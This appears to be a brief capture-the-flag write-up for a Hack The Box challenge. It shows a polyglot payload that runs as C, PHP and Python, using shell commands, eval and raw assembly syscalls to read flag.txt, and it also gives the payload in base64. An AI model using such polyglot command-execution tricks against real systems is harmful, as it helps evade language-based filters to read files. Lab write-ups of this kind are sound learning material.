HackTheBox MultiDigilingual Writeup

Explore the basics of cybersecurity in the MultiDigilingual Challenge on Hack The Box. This medium-level Challenge introduces encryption reversal and file handling concepts in a clear and accessible way, perfect for beginners.

Polyglots

#if 0
#<?php system('cat flag.txt;'); __halt_compiler();?>
print((("b" + "0" == 0 and exec("cat flag.txt")) or (0 and exec("cat flag.txt") or eval('__import__("sys").stdout.write(open("flag.txt").read())'))));
#endif
__asm__(".section .text\n.globl main\nmain:\nmov $0x0000000000000000, %rax\npush %rax\nmov $0x7478742e67616c66, %rax\npush %rax\nmov %rsp, %rdi\nxor %rsi, %rsi\nmov $2, %rax\nsyscall\nmov %rax, %rdi\nmov %rsp, %rsi\nmov $0x100, %rdx\nxor %rax, %rax\nsyscall\nmov $1, %rdi\nmov %rsp, %rsi\nmov %rax, %rdx\nmov $1, %rax\nsyscall\nxor %rdi, %rdi\nmov $60, %rax\nsyscall\n");

CyberChef

I2lmIDAKPD9waHAgc3lzdGVtKCdjYXQgZmxhZy50eHQ7Jyk7IF9faGFsdF9jb21waWxlcigpOz8+CnByaW50KCgoImIiICsgIjAiID09IDAgYW5kIGV4ZWMoImNhdCBmbGFnLnR4dCIpKSBvciAoMCBhbmQgZXhlYygiY2F0IGZsYWcudHh0Iikgb3IKZXZhbCgnX19pbXBvcnRfXygic3lzIikuc3Rkb3V0LndyaXRlKG9wZW4oImZsYWcudHh0IikucmVhZCgpKScpKSkpOwojZW5kaWYKX19hc21fXygiLnNlY3Rpb24gLnRleHRcbi5nbG9ibCBtYWluXG5tYWluOlxubW92ICQweDAwMDAwMDAwMDAwMDAwMDAsICVyYXhcbnB1c2ggJXJheFxubW92CiQweDc0Nzg3NDJlNjc2MTZjNjYsICVyYXhcbnB1c2ggJXJheFxubW92ICVyc3AsICVyZGlcbnhvciAlcnNpLCAlcnNpXG5tb3YgJDIsCiVyYXhcbnN5c2NhbGxcbm1vdiAlcmF4LCAlcmRpXG5tb3YgJXJzcCwgJXJzaVxubW92ICQweDEwMCwgJXJkeFxueG9yICVyYXgsICVyYXhcbnN5c2NhbGxcbm1vdgokMSwgJXJkaVxubW92ICVyc3AsICVyc2lcbm1vdiAlcmF4LCAlcmR4XG5tb3YgJDEsICVyYXhcbnN5c2NhbGxcbnhvciAlcmRpLCAlcmRpXG5tb3YgJDYwLAolcmF4XG5zeXNjYWxsXG4iKTs

Summary

The MultiDigilingual Challenge at Hack The Box is designed to immerse beginners in the fundamental aspects of cybersecurity, emphasizing decryption and file handling. This medium-difficulty challenge stands out through its innovative use of a polyglot script that executes valid code across various programming languages. The challenge skillfully blends theoretical knowledge with practical application, offering an engaging learning experience that showcases the creative and dynamic nature of coding in the cybersecurity realm.